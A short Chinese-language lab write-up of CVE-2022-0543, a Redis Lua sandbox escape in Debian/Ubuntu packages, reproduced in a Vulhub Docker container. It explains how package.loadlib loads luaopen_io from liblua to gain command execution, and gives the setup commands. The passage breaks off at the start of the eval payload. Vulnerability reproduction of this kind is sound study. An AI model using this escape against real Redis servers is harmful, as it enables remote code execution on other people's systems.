Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令。
Lua是由C编写的,上面的话就是说我们可以直接调用一个变量然后操作io库进行任意执行。但是要实现CVE-2022--0543复现首先redis得有未授权访问漏洞或者我们已经通过一些手段进入了redis。
值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在我们Vulhub环境(Ubuntu fiocal)中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0。
查找 liblua5.1.so.0 文件命令:
find / -name liblua*.*
拉取实验环境的容器
下载镜像
docker pull vulhub/redis:5.0.7
启动容器
docker run --name vul-redis-5.0.7 -p 6378:6379 -d vulhub/redis:5.0.7
执行语句
eval 'local io_l = pack